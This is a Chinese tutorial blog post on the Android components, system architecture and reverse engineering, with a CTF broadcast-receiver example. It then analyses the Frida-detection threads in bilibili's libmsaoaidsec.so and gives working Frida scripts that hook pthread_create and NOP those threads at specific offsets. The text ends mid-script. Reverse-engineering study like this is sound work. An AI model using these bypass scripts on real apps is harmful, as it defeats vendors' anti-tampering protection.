\\n\\n概述:Android 系统中的四大组件是应用程序的核心组成部分,它们分别是 Activity、Service、Broadcast Receiver 和 Content Provider。每个组件有不同的功能和作用,它们在应用程序中负责不同的任务,这些组件通过 Intent、Binder 等机制进行交互和通信,相互协作,构成了 Android 应用的整体架构。
\\n
相关资料:安卓逆向-APK结构到四大组件的分析 - FreeBuf网络安全行业门户
\\nActivity 是 Android 应用中负责用户界面和交互的核心组件。每个应用至少有一个 Activity
,它通常作为应用的启动点,用于展示 UI 并处理用户输入。Activity
通过生命周期方法管理与用户的交互,并通过 Intent 在多个 Activity
之间进行跳转。
主要功能:
Activity
,通常应用的启动点就是一个 Activity
。Activity
之间进行跳转。Activity如何在AndroidManifest.xml文件中声明:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | < activity android:name = \\".MainActivity\\" <!-- 活动类的名称 --\x3e android:label=\\"Main Activity\\" <!-- 活动的名称标签 --\x3e android:theme=\\"@style/Theme.AppCompat.Light\\" <!-- 活动的主题 --\x3e android:launchMode=\\"singleTask\\" <!-- 启动模式 --\x3e android:screenOrientation=\\"landscape\\" <!-- 屏幕方向 --\x3e android:exported=\\"true\\" <!-- 是否允许外部启动 --\x3e android:configChanges=\\"orientation|keyboardHidden\\" <!-- 配置变化 --\x3e android:permission=\\"android.permission.INTERNET\\"> <!-- 需要的权限 --\x3e <!-- 可选:定义Intent过滤器,用于匹配启动Activity的Intent --\x3e < intent-filter > < action android:name = \\"android.intent.action.MAIN\\" /> < category android:name = \\"android.intent.category.LAUNCHER\\" /> </ intent-filter > </ activity > |
<activity>
标签在 AndroidManifest.xml
中用于声明一个 Activity
组件。Activity
的行为、主题、启动模式以及是否允许外部访问等。intent-filter
用于声明 Activity
能够响应的 Intent
,是启动 Activity
的关键。Activity的官方介绍:activity 生命周期 | Android Developers
Activity是一个界面,一个APP是由很多个Activity进行界面调用的,想要使用Activity需要在AndroidManifest中声明,只要调用的就需要声明!(GAD)
下面是使用GAD查看一个APP的AndroidManifest.xml文件:
在 Android 中创建一个 Activity
类,通常需要继承 Activity
或其子类。可以选择直接继承 Activity
类来创建你的自定义 Activity
,但是 Android 还提供了几个 Activity
的子类,常见的包括:
AppCompatActivity
:这是支持库中的 Activity
子类,提供了对 ActionBar
的支持,通常用于开发现代 Android 应用。FragmentActivity
:继承自 Activity
,用于支持 Fragment。TabActivity
(已废弃):曾经用于实现选项卡式界面的 Activity
。实际查看一个APP的一个Activity:
AppCompatActivity
是一种常见的 Activity
子类,它提供了更多特性支持,并兼容较低版本的 Android 系统,继承 AppCompatActivity
类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { private Button button; private Button enableDisableButton; @Override protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); // 设置当前 Activity 的布局视图 setContentView(R.layout.activity_main); // 获取布局中的按钮 button = findViewById(R.id.button); enableDisableButton = findViewById(R.id.enableDisableButton); // 为 \\"Enable/Disable\\" 按钮设置点击事件 enableDisableButton.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { // 如果按钮已经启用,则禁用它;如果已禁用,则启用它 if (button.isEnabled()) { button.setEnabled( false ); // 禁用按钮 enableDisableButton.setText( \\"Enable Button\\" ); // 更新按钮文本 } else { button.setEnabled( true ); // 启用按钮 enableDisableButton.setText( \\"Disable Button\\" ); // 更新按钮文本 } } }); // 为 \\"Go to Second Activity\\" 按钮设置点击事件 button.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { // 启动 SecondActivity Intent intent = new Intent(MainActivity. this , SecondActivity. class ); startActivity(intent); } }); } } |
这个例子展示了如何在 Activity
中使用 setEnabled()
来控制 UI 组件的启用状态,使用 setContentView()
来设置布局,并通过 startActivity()
来启动另一个 Activity
。这些是构建交互式 Android 应用时非常常见的操作。
了解一些简单的Android API函数:
setEnabled()
是 View
类中的方法,用于启用或禁用视图组件。setContentView()
是 Activity
类中的方法,用于设置当前 Activity
的布局视图startActivity()
是 Context
类中的方法,用于启动一个新的 Activity
在 Android 中,Activity
的生命周期是应用开发中非常重要的一部分,它决定了应用在不同状态下如何响应用户操作以及如何管理资源。Android 提供了一系列生命周期方法,这些方法帮助开发者管理 Activity
在不同阶段的行为。下面是对 Activity
生命周期的详细讲解,并结合实际案例进一步阐释。
Activity
的生命周期非常重要,Android 提供了多个生命周期方法来管理 Activity
的状态,例如:
onCreate()
:初始化 Activity
,加载界面。onStart()
:当 Activity
可见但未获取焦点时调用。onResume()
:当 Activity
获得焦点并开始与用户交互时调用。onPause()
:当另一个 Activity
获得焦点时调用,通常用来保存数据或释放资源。onStop()
:当 Activity
不再可见时调用。onDestroy()
:Activity
被销毁时调用。下面是一个实际的应用案例,在不同时间时刻Activity的页面的每个关键点都可以进行设置,比如下面这个案例就将每次进入这个页面的动作做进行判断,是否开放按钮的点击权限!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | protected void onCreate(Bundle p0){ super .onCreate(p0); this .setContentView(R.layout.activity_main); Button uButton = this ._$_findCachedViewById(R$id.buttonContinue); Intrinsics.checkExpressionValueIsNotNull(uButton, \\"buttonContinue\\" ); uButton.setEnabled( this .hasExistingGame()); /*设置按钮能否点击*/ } protected void onResume(){ super.onResume(); Button uButton = this._$_findCachedViewById(R$id.buttonContinue); Intrinsics.checkExpressionValueIsNotNull(uButton, \\"buttonContinue\\"); uButton.setEnabled(this.hasExistingGame()); /*设置按钮能否点击*/ } |
onCreate()
和 onResume()
方法来控制按钮的启用状态。通过 hasExistingGame()
方法判断是否有正在进行的游戏,确保用户只能在合适的时机点击按钮。onCreate()
用于初始化和设置初始状态,onResume()
用于更新Activity状态,确保界面总是保持最新的状态,可以及时更新页面状态。下面就是在满足条件切换页面后onResume函数被触发,页面内容进行了更新:
Service
是一个在后台运行的应用组件,它不与用户直接交互,但可以在后台执行长时间的任务。比如,下载文件、播放音乐或进行网络请求等。Service
主要用于执行需要长时间运行的操作,或者即使用户切换到其他应用时,服务也能继续运行。
主要功能:
\\nActivity
)通信,或者通过广播来通知事件。生命周期:Service
的生命周期也由多个方法来控制,例如:
onCreate()
:当服务第一次被创建时调用。onStartCommand()
:每次调用 startService()
后都会调用该方法,用来处理后台任务。onBind()
:当 Service
需要与其他组件(如 Activity
)进行绑定时调用。onDestroy()
:服务被销毁时调用,用于释放资源。Service (服务)的官方介绍:服务概览 | Background work | Android Developers
\\nService如何在AndroidManifest.xml文件中声明:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | < service android:name = \\".MyService\\" <!-- 声明服务的类名,可以是全名或相对路径 --\x3e android:enabled=\\"true\\" <!-- 指定服务是否启用,如果为 false,系统不会启动此服务 --\x3e android:exported=\\"false\\" <!-- 控制该服务是否允许其他应用程序访问,true表示服务可以被外部应用调用,false表示只能在当前应用内调用 --\x3e android:permission=\\"android.permission.BIND_JOB_SERVICE\\"> <!-- 为服务定义一个权限,表示访问此服务的应用必须声明相应的权限 --\x3e <!-- 可选:定义服务的最小 SDK 版本要求 --\x3e < meta-data android:name = \\"com.example.myapp.SERVICE_META\\" android:value = \\"some_value\\" /> <!-- 可选:声明该服务能够响应的 Intent --\x3e < intent-filter > < action android:name = \\"com.example.myapp.ACTION_START_SERVICE\\" /> </ intent-filter > <!-- 可选:指定服务所依赖的特定权限 --\x3e < uses-permission android:name = \\"android.permission.INTERNET\\" /> </ service > |
<service>
标签的作用是定义一个服务,并告诉 Android 系统该服务的位置和一些重要的配置选项。服务是 Android 应用中的一个独立组件,可以在后台运行,独立于界面部分进行长时间的操作。
接下来是一个简单的 Service 类代码示例:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | public class MyService extends Service { @Override public int onStartCommand(Intent intent, int flags, int startId) { // 执行后台任务,例如下载文件或执行其他耗时操作 // 返回服务的启动模式,START_STICKY表示服务在被杀死后会自动重启 return START_STICKY; } @Override public IBinder onBind(Intent intent) { // 如果服务是通过绑定来启动的,返回一个IBinder接口。 // 如果不需要绑定,可以返回null。 return null ; } } |
onStartCommand
方法会被调用。在这里你可以编写服务的核心逻辑,如执行后台任务、处理数据等。返回值START_STICKY
表示服务在被杀死后会自动重启。常见的启动模式还有:START_NOT_STICKY
: 如果服务被系统杀死后不自动重启。START_REDELIVER_INTENT
: 如果服务被杀死后,系统会尝试重启并重新传递最后的Intent
。onBind
方法会被调用,通常返回一个IBinder
接口。如果服务不支持绑定,直接返回null
即可。BroadcastReceiver
用于接收和处理广播消息。广播是 Android 系统中用于传递信息的机制,BroadcastReceiver
可以监听特定的广播事件并作出响应。例如,接收系统广播(如设备开机完成、Wi-Fi 状态变化等),或者应用发送的广播。可以用于不同页面间的通信!
主要功能:
\\n生命周期:
\\nBroadcastReceiver
的生命周期非常简短,通常只是在接收到广播时调用其 onReceive()
方法。Activity
或 Service
那样有长时间的生命周期,接收到广播后,onReceive()
方法会立即执行,之后它的生命周期结束。官方介绍:广播概览 | Background work | Android Developers
广播的详细使用方式:Android 发送自定义广播_android 发送广播-CSDN博客
Broadcast Receiver如何在AndroidManifest.xml文件中声明:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | < receiver android:name = \\".MyReceiver\\" <!-- 广播接收器类的名称 --\x3e android:enabled=\\"true\\" <!-- 是否启用该广播接收器 --\x3e android:exported=\\"false\\" <!-- 是否允许外部应用访问 --\x3e android:permission=\\"android.permission.RECEIVE_BOOT_COMPLETED\\"> <!-- 需要的权限 --\x3e <!-- 可选:定义接收的广播事件 --\x3e < intent-filter > < action android:name = \\"android.intent.action.BOOT_COMPLETED\\" /> <!-- 广播事件 --\x3e < category android:name = \\"android.intent.category.DEFAULT\\" /> <!-- 广播分类 --\x3e </ intent-filter > <!-- 可选:声明接收器需要的权限 --\x3e < uses-permission android:name = \\"android.permission.RECEIVE_BOOT_COMPLETED\\" /> </ receiver > |
<receiver>
标签用于在 AndroidManifest.xml
中声明一个 BroadcastReceiver 组件。android:name
(指定接收器类)、android:enabled
(是否启用接收器)、android:exported
(是否允许外部访问)、android:permission
(所需的权限)和 <intent-filter>
(定义接收的广播事件)。实战例题来源:攻防世界-Mobile-基础android
打开题目的AndroidManifest.xml文件,可以找到<Receiver>
这个标签
了解一些AndroidManifest.xml中一些字段:
<intent-filter>
用于在应用的组件声明中指定哪些 Intent
可以触发该组件。<action>
用于指定该 Intent
过滤器能够处理的操作(Action)。它告诉 Android 系统,当有一个 Intent
的动作(action)匹配时,应该触发相应的组件(如 BroadcastReceiver
)。逆向实战题目分析:baseandroid.apk
\\n1 2 3 4 5 | public void onClick(View v) { String str = MainActivity2. this .editText.getText().toString(); Intent intent = new Intent(str); MainActivity2. this .sendBroadcast(intent); } |
点击后发送广播信号触发AndroidManifest.xml中定义的广播者:
\\n1 2 3 4 5 6 7 8 9 | <receiver android:name=\\"com.example.test.ctf02.GetAndChange\\" android:enabled=\\"true\\" android:exported=\\"true\\"> <intent-filter> <action android:name=\\"android.is.very.fun\\"/> </intent-filter> </receiver> |
在这到题目中你需要知道如何触发广播接收者中的代码,才以可成功获得flag,sendBroadcast(intent)
可以发送处广播,\\"android.is.very.fun\\"
是可以触发广播响应的信号,所以我们只需要将android.is.very.fun字符串写入编辑框,再点击按钮就可以获得flag了!
ContentProvider
用于跨应用共享数据。它提供了一个统一的接口,使得一个应用可以访问另一个应用的数据。ContentProvider
可以封装数据库操作、文件操作或者其他数据存储方式,并通过 ContentResolver
提供访问权限。
主要功能:
\\nContentResolver
进行访问,允许应用进行 CRUD(增、删、改、查)操作。官方链接:Content provider | Android Developers
\\nContent Provider如何在AndroidManifest.xml文件中声明:
\\n1 2 3 4 5 6 7 8 9 | < provider android:name = \\".MyProvider\\" <!-- ContentProvider 的类名 --\x3e android:authorities=\\"com.example.myapp.provider\\" <!-- ContentProvider 的 URI 标识符 --\x3e android:exported=\\"true\\" <!-- 是否允许外部应用访问 --\x3e android:permission=\\"android.permission.READ_CONTACTS\\" <!-- 需要的权限 --\x3e android:enabled=\\"true\\" <!-- 是否启用 ContentProvider --\x3e android:multiProcess=\\"true\\" <!-- 是否支持多进程访问 --\x3e android:readPermission=\\"android.permission.READ_EXTERNAL_STORAGE\\" <!-- 读取权限 --\x3e android:writePermission=\\"android.permission.WRITE_EXTERNAL_STORAGE\\" /> <!-- 写入权限 --\x3e |
<provider>
标签在 AndroidManifest.xml
文件中声明一个 ContentProvider
组件,负责在应用之间共享数据。android:name
指定 ContentProvider
的类,android:authorities
指定其标识符(URI)。android:exported
、android:permission
和 android:multiProcess
等属性控制 ContentProvider
的可见性、权限和进程共享。常见的 ContentProvider
是 联系人 数据库(ContactsProvider
),允许应用查询联系人信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | public class MyProvider extends ContentProvider { @Override public boolean onCreate() { // 初始化内容提供者 return true ; } @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { // 查询数据 return null ; } @Override public Uri insert(Uri uri, ContentValues values) { // 插入数据 return null ; } @Override public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { // 更新数据 return 0 ; } @Override public int delete(Uri uri, String selection, String[] selectionArgs) { // 删除数据 return 0 ; } @Override public String getType(Uri uri) { // 返回数据类型 return null ; } } |
更加详细的文档:Android 系统架构图_软件静态架构图-CSDN博客
\\n安卓操作系统——一个全球数十亿智能设备的心脏,其架构的设计复杂、精巧,承载了从硬件驱动到应用交互的每一层细节。安卓架构并非单一维度的堆叠,而是一张层次分明、各司其职的巨大网络,它将各个模块紧密联系在一起,形成了一个无缝而高效的操作环境。
在这篇文章中,我们将深入探讨安卓操作系统架构的各个层次,揭开它每一层背后的奥秘,理解其如何从硬件到应用,提供了一个高效且灵活的运行环境。
系统应用是安卓操作系统的基础组成部分,直接影响着用户的日常使用体验。它们通常包括了电话拨号器、邮件客户端、日历应用、相机应用等。这些应用不仅实现了基础功能,还常常与系统的其他组件紧密集成,提供出色的互操作性。
\\nJava API框架是安卓系统的核心部分,它通过封装底层硬件功能和系统服务,向开发者提供了丰富的API接口。通过这些接口,开发者能够方便地调用系统服务,进行应用开发。
\\n在安卓的架构中,C/C++库处于非常关键的位置,负责提供底层的性能支持。它们直接与硬件打交道,执行资源密集型的操作,如音频、视频处理、图形渲染等。
\\n安卓运行时是安卓的“心脏”,它包括了Android Runtime本身和核心库。ART替代了之前的Dalvik虚拟机,提供更高效的执行环境,尤其在应用启动速度和内存管理方面有显著提升。
\\n硬件抽象层是安卓系统与硬件之间的“缓冲带”。它通过提供标准化的接口,使得安卓系统能够独立于硬件平台开发。无论设备使用何种硬件,HAL都能保证系统服务与硬件之间的兼容性。
\\nLinux内核是安卓操作系统的基础,它负责直接管理硬件资源,包括CPU、内存、输入设备、显示等。内核的设计保证了安卓系统的高效性和稳定性。
\\n
详细介绍:Android 系统架构图_软件静态架构图-CSDN博客
Android 系统的启动过程是一个精细的多层级结构,充满了环环相扣的内在联系。从硬件启动到用户应用的加载,每一步都依赖于上一层的稳定运行。Google 提供的经典五层架构图虽简洁明了,但若从进程角度深入探讨,每个阶段的工作机制和交互会更加复杂。
图解:Android 系统启动过程由上图从下往上的一个过程是由 Boot Loader 引导开机,然后依次进入 -> Kernel
-> Native
-> Framework
-> App
,接来下简要说说每个过程:
关于 Loader 层:
逆向工程,这一领域总是充满了挑战与魅力。尤其是在Android应用的世界里,它不仅是解开代码背后深藏的秘密的一扇大门,更是进入黑客、开发者以及安全专家思维深处的钥匙。理解Android逆向工程,意味着要能够透视到一个看似封闭的应用世界,并揭示出它那层层叠叠的复杂结构和潜在的弱点。
\\nAndroid逆向工程的核心在于解构与重建。面对每个APK文件,逆向工程师需要通过静态与动态分析的手段,剖析其中的代码、资源和加固机制,理解它是如何运行、如何保护自身不被篡改,甚至如何加密与存储敏感信息。从反编译到脱壳,从调试到利用,逆向工程不仅仅是破解一段代码,它更是与时间赛跑,与不断进化的加固技术博弈。
在应用领域,Android逆向工程的意义愈加显著。它不仅仅存在于学术或技术探讨之中,它在实际的安全攻防中,尤其是在恶意软件分析、漏洞挖掘、隐私保护以及数字取证等多个层面扮演着至关重要的角色。安全专家利用逆向分析发现并修复应用中的漏洞,黑客则通过逆向技术发现攻击路径与漏洞,开发者则以此保护自己的代码不受侵害。而这一切的核心,便是对Android应用内部结构的全面理解和破解。
Android逆向工程的核心在于解构与重建。面对每个APK文件,逆向工程师需要通过静态与动态分析的手段,剖析其中的代码、资源和加固机制,理解它是如何运行、如何保护自身不被篡改,甚至如何加密与存储敏感信息。从反编译到脱壳,从调试到利用,逆向工程不仅仅是破解一段代码,它更是与时间赛跑,与不断进化的加固技术博弈。
在应用领域,Android逆向工程的意义愈加显著。它不仅仅存在于学术或技术探讨之中,它在实际的安全攻防中,尤其是在恶意软件分析、漏洞挖掘、隐私保护以及数字取证等多个层面扮演着至关重要的角色。安全专家利用逆向分析发现并修复应用中的漏洞,黑客则通过逆向技术发现攻击路径与漏洞,开发者则以此保护自己的代码不受侵害。而这一切的核心,便是对Android应用内部结构的全面理解和破解。
对初学者来说,逆向工程的核心并不是要具备破解应用的黑客技术,而是要理解逆向的本质——一种从表面看似复杂的系统中提取底层逻辑和功能的能力。逆向工程与传统编程截然不同,它不是从零开始编写代码,而是从现有的程序出发,逐步揭示其工作机制。在这过程中,我们不仅要理解如何读取代码,还要懂得如何模拟程序的运行,观察程序与系统的交互,甚至在调试过程中通过各种工具“剪切”出应用的运行
换句话说,逆向工程的学习和实践,就是从“已知的对象”中重建出“未知的过程”。你可能会从一个加密字符串出发,逐步推敲出整个加密算法的工作原理,最终破解该加密。你可能会在看似无关的代码段中,发现一个异常的系统调用,进而推测出程序的异常行为。这样的过程需要极强的逻辑思维能力和对技术细节的深刻洞察力,同时还要拥有对各种调试工具和反编译工具的熟练运用。
“逆向”并非一蹴而就,它是一个从简单到复杂的渐进过程,任何一个细节的掌握都可能为解开更复杂的问题铺平道路。在这一过程中,你不仅要学会如何使用工具,更要训练出一双“透视”的眼睛,去看到那些隐藏在代码中的秘密。
因此,逆向工程不仅是技术的挑战,更是心智的锤炼。它不仅要求我们有一定的编程基础,熟悉应用的工作原理,还要求我们具备对复杂事物的拆解与重组能力。而这一切的背后,正是对“破译”和“重建”这两种能力的培养和锻炼。
本文是对于了版本7.26.1,以及版本7.76.0的frida检测进行的分析研究以及绕过
\\nbilibili的旧版本frida检测
\\n
可以看到按照Spawn的方式启动的时候,直接frida就被检测了。我们按照 hook dlopen去查看可能出现的对应frida检测的so文件。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | function hook_dlopen(soName = \'\' ) { Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log( \\"Loading: \\" + path); if (path.indexOf(soName) >= 0) { console.log( \\"Already loading: \\" + soName); // hook_system_property_get(); } } } }); } setImmediate(hook_dlopen, \\"libmsaoaidsec.so\\" ); |
可以看到的是libmsaoaidsec.so文件,在dlopen了之后,frida就被检测到了,所以大概率的可能是在libmsaoaidsec.so进行的frida检测。在这里之前,我们需要知道是在哪进行HOOK是最为有用的
\\n这里我们可以通过在dlopen结束之后,去HOOK JNI_Onload函数,去判断检测函数在JNI_Onload之前还是之后,我们通过IDA可以去查看JNI_Onload的地址。这里是在JNI_Onload之前出现的frida检测。
\\n
function hook_JNI_OnLoad(){\\n let module = Process.findModuleByName(\\"libmsaoaidsec.so\\")\\n Interceptor.attach(module.base.add(0xC6DC + 1), {\\n onEnter(args){\\n console.log(\\"JNI_OnLoad\\")\\n }\\n })\\n}\\n\\n
我们通过HOOK 进程创建,来看看对于frida检测的线程是在哪里启动的。在复现过程中,原作者使用了hook _system_property_get函数,这里是 init_proc函数较早的位置,这里涉及到了安卓源码中dlopen和.init_xx函数的执行流程比较,在我的so文件执行流程的过程中有细节分析。
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | function hook_system_property_get() { var system_property_get_addr = Module.findExportByName( null , \\"__system_property_get\\" ); if (!system_property_get_addr) { console.log( \\"__system_property_get not found\\" ); return ; } Interceptor.attach(system_property_get_addr, { onEnter: function (args) { var nameptr = args[0]; if (nameptr) { var name = ptr(nameptr).readCString(); if (name.indexOf( \\"ro.build.version.sdk\\" ) >= 0) { console.log( \\"Found ro.build.version.sdk, need to patch\\" ); // hook_pthread_create(); // bypass() //这里可以开始进行HOOK } } } }); } |
由于我们知道,frida检测的是在JNI_Onload函数之前,那么我们就要在init_proc的越早的地方可以进行HOOK,我们HOOK的地方就是线程创建的位置pthread_create。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function hook_pthread_create() { var pthread_create = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ); var libmsaoaidsec = Process.findModuleByName( \\"libmsaoaidsec.so\\" ); if (!libmsaoaidsec) { console.log( \\"libmsaoaidsec.so not found\\" ); return ; } console.log( \\"libmsaoaidsec.so base: \\" + libmsaoaidsec.base); if (!pthread_create) { console.log( \\"pthread_create not found\\" ); return ; } Interceptor.attach(pthread_create, { onEnter: function (args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log( \\"pthread_create other thread: \\" + thread_ptr); } else { console.log( \\"pthread_create libmsaoaidsec.so thread: \\" + thread_ptr + \\" offset: \\" + thread_ptr.sub(libmsaoaidsec.base)); } }, onLeave: function (retval) {} }); } |
在这里我们通过去HOOK dlopen的位置,通过dlopen的位置去HOOK system_property_get 当参数是ro.build.version.sdk然后去hook pthread_create
\\ndlopen ———>system_property_get————>pthread_create
\\n
这里去比较了对应所以由pthread_create 创建的线程,当对应的线程的地址在libmsaoaidsec.so的地址区域内的时候,打印对应的地址以及偏移。可以看到这里有两个线程出现了
\\n我们可以去通过IDA看看
\\n
这些位置的像出现的 strcmpopenatstrstr.......很多的frida的检测,我们交叉引用一下看看pthread_create,然后直接实现NOP就可以了
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | function hook_dlopen(soName = \'\' ) { Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log( \\"Loading: \\" + path); if (path.indexOf(soName) >= 0) { console.log( \\"Already loading: \\" + soName); hook_system_property_get(); } } } }); } function hook_system_property_get() { var system_property_get_addr = Module.findExportByName( null , \\"__system_property_get\\" ); if (!system_property_get_addr) { console.log( \\"__system_property_get not found\\" ); return ; } Interceptor.attach(system_property_get_addr, { onEnter: function (args) { var nameptr = args[0]; if (nameptr) { var name = ptr(nameptr).readCString(); if (name.indexOf( \\"ro.build.version.sdk\\" ) >= 0) { console.log( \\"Found ro.build.version.sdk, need to patch\\" ); hook_pthread_create(); // bypass() } } } }); } function hook_pthread_create() { var pthread_create = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ); var libmsaoaidsec = Process.findModuleByName( \\"libmsaoaidsec.so\\" ); if (!libmsaoaidsec) { console.log( \\"libmsaoaidsec.so not found\\" ); return ; } console.log( \\"libmsaoaidsec.so base: \\" + libmsaoaidsec.base); if (!pthread_create) { console.log( \\"pthread_create not found\\" ); return ; } Interceptor.attach(pthread_create, { onEnter: function (args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log( \\"pthread_create other thread: \\" + thread_ptr); } else { console.log( \\"pthread_create libmsaoaidsec.so thread: \\" + thread_ptr + \\" offset: \\" + thread_ptr.sub(libmsaoaidsec.base)); } }, onLeave: function (retval) {} }); } function nop_code(addr) { Memory.patchCode(ptr(addr),4,code => { const cw = new ThumbWriter(code,{pc:ptr(addr)}); cw.putNop(); cw.putNop(); cw.flush(); }) } function bypass() { let module = Process.findModuleByName( \\"libmsaoaidsec.so\\" ) nop_code(module.base.add(0x010AE4)) nop_code(module.base.add(0x113F8)) } setImmediate(hook_dlopen, \\"libmsaoaidsec.so\\" ); |
这里就绕过frida了,或者通过直接在IDA中去patch掉上面两个位置的pthread_create,然后把补丁之后的so再放到APK中也可以。
\\n参考文章:[原创]绕过bilibili frida反调试-Android安全-看雪-安全社区|安全招聘|kanxue.com
\\n7.26.1:
\\n
在高一点的版本上面,pthread_create函数是被隐藏了的
\\n7.76.0:
但是其实我们通过之前的方法也能看到对应的pthead_create创建线程的位置
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | function hook_dlopen(soName = \'\' ) { Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr) { var path = ptr(pathptr).readCString(); console.log( \\"Loading: \\" + path); if (path.indexOf(soName) >= 0) { console.log( \\"Already loading: \\" + soName); hook_system_property_get(); } } } }); } function hook_system_property_get() { var system_property_get_addr = Module.findExportByName( null , \\"__system_property_get\\" ); if (!system_property_get_addr) { console.log( \\"__system_property_get not found\\" ); return ; } Interceptor.attach(system_property_get_addr, { onEnter: function (args) { var nameptr = args[0]; if (nameptr) { var name = ptr(nameptr).readCString(); if (name.indexOf( \\"ro.build.version.sdk\\" ) >= 0) { console.log( \\"Found ro.build.version.sdk, need to patch\\" ); hook_pthread_create(); // bypass() } } } }); } function hook_pthread_create() { var pthread_create = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ); var libmsaoaidsec = Process.findModuleByName( \\"libmsaoaidsec.so\\" ); if (!libmsaoaidsec) { console.log( \\"libmsaoaidsec.so not found\\" ); return ; } console.log( \\"libmsaoaidsec.so base: \\" + libmsaoaidsec.base); if (!pthread_create) { console.log( \\"pthread_create not found\\" ); return ; } Interceptor.attach(pthread_create, { onEnter: function (args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log( \\"pthread_create other thread: \\" + thread_ptr); } else { console.log( \\"pthread_create libmsaoaidsec.so thread: \\" + thread_ptr + \\" offset: \\" + thread_ptr.sub(libmsaoaidsec.base)); } }, onLeave: function (retval) {} }); } setImmediate(hook_dlopen, \\"libmsaoaidsec.so\\" ); |
这里可以看到在libmsaoaidsec.so中创建了三个新的线程,这里多半也就是进行frida检测的位置的了
pthread_create libmsaoaidsec.so thread: 0x76bcce0544 offset: 0x1c544\\npthread_create libmsaoaidsec.so thread: 0x76bccdf8d4 offset: 0x1b8d4\\npthread_create libmsaoaidsec.so thread: 0x76bcceae5c offset: 0x26e5c\\n\\n
同时这里我们进行HOOK的检测frida线程在哪的时候,也是在system_property_get的函数的位置进行HOOK的,但是实际上这里的位置也已经被混淆了,但是这个函数没有被混淆,可以直接在导入表里面找到的,那么我们就去交叉引用看看在哪引用的
\\n
其实是能够发现还是在init_proc的sub_123F0函数的位置的
\\n
但是这里去判断参数的为\\"ro.build.version.sdk\\"已经被混淆了,但是我们既然能通过这个代码找到对应的线程,说明实际上还是去执行了 **_system_property_get(\\"ro.build.version.sdk\\")**这个函数的,而且既然代码可以直接检测得到frida检测的线程的地址,那么说明检测点还是再_system_property_get(\\"ro.build.version.sdk\\")之前的。
\\n我们同样按照交叉引用看看pthread_create 被混淆成了什么
\\n
其实通过参数的形式,我们就可以判断大概率就是被混淆了的pthead_create函数
按照之前旧版本的frida检测,我们的反检测是通过NOP掉对应的frida检测线程,在7.26.1中frida检测是有两个线程的,而在7.76.0中,这里的frida检测有了三个线程,那么我们也可以对于这里的三个线程进行NOP
\\n这里按照最原始的方法,不去NOP掉pthead_create函数,而是去patch掉对应的frida函数。以及其中的NOP的实际,我选择的位置是在判断到进入libmsaoaidsec.so的时候,并且开始进行frida检测线程创建的pthead_create函数时期
\\n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | function hook_pthread_create() { var pthread_create = Module.findExportByName( \\"libc.so\\" , \\"pthread_create\\" ); var libmsaoaidsec = Process.findModuleByName( \\"libmsaoaidsec.so\\" ); if (!libmsaoaidsec) { console.log( \\"libmsaoaidsec.so not found\\" ); return ; } console.log( \\"libmsaoaidsec.so base: \\" + libmsaoaidsec.base); if (!pthread_create) { console.log( \\"pthread_create not found\\" ); return ; } Interceptor.attach(pthread_create, { onEnter: function (args) { var thread_ptr = args[2]; if (thread_ptr.compare(libmsaoaidsec.base) < 0 || thread_ptr.compare(libmsaoaidsec.base.add(libmsaoaidsec.size)) >= 0) { console.log( \\"pthread_create other thread: \\" + thread_ptr); } else { console.log( \\"pthread_create libmsaoaidsec.so thread: \\" + thread_ptr + \\" offset: \\" + 